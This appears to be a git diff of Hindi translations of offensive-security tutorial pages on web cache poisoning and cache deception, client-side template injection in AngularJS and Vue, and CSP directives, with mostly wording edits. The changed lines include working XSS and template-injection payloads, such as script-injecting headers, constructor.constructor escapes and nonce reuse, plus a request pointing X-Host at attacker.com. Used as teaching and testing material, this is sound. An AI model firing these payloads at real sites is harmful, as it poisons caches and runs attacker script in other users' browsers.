यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप एक DoS भी कर सकते हैं)।
|
||||
|
||||
आप अधिक विकल्प पा सकते हैं:
|
||||
|
||||
@ -35,10 +35,10 @@ cache-poisoning-to-dos.md
|
||||
|
||||
हालांकि, ध्यान दें कि **कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते** इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता।
|
||||
|
||||
### खोज: अनकीद इनपुट की पहचान और मूल्यांकन करें
|
||||
### खोज: अनकीड इनपुट की पहचान और मूल्यांकन करें
|
||||
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है:
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
@ -49,29 +49,29 @@ cache-poisoning-to-dos.md
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** यह जानने के लिए भी दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** का **भाग** माने जाते हैं, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के भाग के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में उपयोग किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
|
||||
## शोषण के उदाहरण
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\
|
||||
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:
|
||||
```markup
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_ध्यान दें कि यह `/en?region=uk` के लिए एक अनुरोध को विषाक्त करेगा, `/en` के लिए नहीं_
|
||||
|
||||
### DoS के लिए कैश विषाक्त करना
|
||||
### DoS के लिए कैश विषाक्तता
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
@ -80,14 +80,14 @@ cache-poisoning-to-dos.md
|
||||
### कुकी-हैंडलिंग कमजोरियों का लाभ उठाने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठाने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे।
|
||||
|
||||
### सीमाओं, सामान्यीकरण और बिंदुओं के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### डेलिमिटर्स, सामान्यीकरण और डॉट्स के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
जांचें:
|
||||
|
||||
@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने** के लिए **कई बिना कुंजी वाले इनपुट** का **शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
```markup
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने** के लिए **कई अनकुंजीकृत इनपुट** का **शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
@ -116,8 +116,8 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary` हेडर के साथ शोषण
|
||||
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
```markup
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम** के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि कमजोरियों को जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -144,7 +144,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां जानें कि कैसे [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
@ -164,7 +164,7 @@ ATS ने URL के अंदर के अंश को बिना हट
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **`x-http-method-override`** हेडर का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
@ -172,11 +172,11 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-encoded संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-encoded पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-encode करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
@ -184,7 +184,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
|
||||
### Finding new headers
|
||||
|
||||
@ -194,7 +194,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
|
||||
सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने** के लिए **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
|
||||
@ -206,12 +206,12 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
|
||||
- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
|
||||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ लोड करते हैं जैसे _http://www.example.com/home.php/non-existent.css_ तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` mime प्रकार।
|
||||
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
|
||||
यहां जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
यहां जानें कि [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Summary
|
||||
|
||||
यह [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **कोड** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **मनमाना JavaScript** कोड **execute** करने की अनुमति दे सकता है।
|
||||
यह [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **code** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **arbitrary JavaScript** कोड **execute** करने की अनुमति दे सकता है।
|
||||
|
||||
इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
|
||||
इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को प्रोसेस करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
|
||||
|
||||
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड को execute किया जा सकता है:
|
||||
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -31,7 +31,7 @@ AngularJS एक व्यापक रूप से उपयोग किय
|
||||
काम करने वाला पेलोड: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
और कमजोर उदाहरण का **स्रोत कोड** यहाँ है: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
@ -49,7 +49,7 @@ CSTI पर VUE में एक बहुत अच्छा पोस्ट [h
|
||||
```
|
||||
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||
|
||||
**अधिक VUE पेलोड्स देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
**अधिक VUE पेलोड देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
|
||||
## Mavo
|
||||
|
||||
|
||||
@ -57,7 +57,7 @@ object-src 'none';
|
||||
- **sandbox**: `<iframe>` के sandbox विशेषता के समान प्रतिबंध लागू करता है।
|
||||
- **report-to**: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
|
||||
- **worker-src**: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
|
||||
- **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पहले से लाया जाएगा।
|
||||
- **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पूर्व-लाया जाएगा।
|
||||
- **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)
|
||||
|
||||
### स्रोत
|
||||
@ -69,7 +69,7 @@ object-src 'none';
|
||||
- `'unsafe-eval'`: `eval()` और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
|
||||
- `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसी इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'nonce'`: एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला नंबर) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
|
||||
- `'nonce'`: एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
|
||||
- यदि आपके पास JS सीमित निष्पादन है, तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त करें `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
|
||||
|
||||
<details>
|
||||
@ -91,12 +91,12 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `'sha256-<hash>'`: एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
|
||||
- `'strict-dynamic'`: यदि इसे nonce या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
|
||||
- `'host'`: एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे `example.com`।
|
||||
- `https:`: URLs को उन पर प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
|
||||
- `https:`: उन URL को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
|
||||
- `blob:`: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
|
||||
- `filesystem:`: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
|
||||
